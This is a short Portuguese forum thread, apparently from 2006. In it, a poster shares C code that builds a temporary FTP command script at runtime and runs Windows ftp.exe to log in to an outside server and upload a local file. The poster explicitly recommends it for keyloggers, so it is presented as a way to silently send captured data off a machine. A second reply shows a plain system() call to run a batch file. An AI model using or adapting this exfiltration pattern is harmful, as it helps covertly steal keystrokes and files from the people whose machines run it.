[source] executando bats a partir do programa

Started by Anonymous, 13 de October , 2006, 01:53:45 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

hum, n sei se acontece com voces mas alguns bats n rodam legal chamando o system("nomedo.bat");

e nesse eu exemplo eu vow mostrar como criar um arquivo temporario (o que é legal, pq vc num precisa enviar o bat junto do arquivo, ele cria em tempo de execução, e salvar os parametros do FTP em outra variavel, depois juntar tudo, e jogar no

system();

util para keylogger e  afims :)

até mais!

#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <stdlib.h>
const char sFTPCommandFile[] = "C:\\a.txt"; //arquivo temmporário, não precisa existir
const char sFTPExecutable[] = "\"C:\\Windows\\System32\\ftp.exe\""; //localdo serviço FTP do M$ rwindows


int main(){
char cmd2[500];
FILE *fpFTPCommandFile = fopen(sFTPCommandFile, "wt");
fprintf(fpFTPCommandFile, "open ftp.xpg.com.br\n");
fprintf(fpFTPCommandFile, "login\n"); // login
fprintf(fpFTPCommandFile, "senha\n");
fprintf(fpFTPCommandFile, "put ftp2.txt ftp2.txt\n");//nome do arquivo a ser enviado
fprintf(fpFTPCommandFile, "quit\n");
fclose(fpFTPCommandFile);
strcpy(cmd2,"@echo off\n");
strcpy(cmd2, sFTPExecutable);
strcat(cmd2, " -s:");
strcat(cmd2, sFTPCommandFile);
system(cmd2);
getch();
}

Anonymous

Da para fazer:
#include <stdio.h>

main() {
system("call BatchFile.bat");
}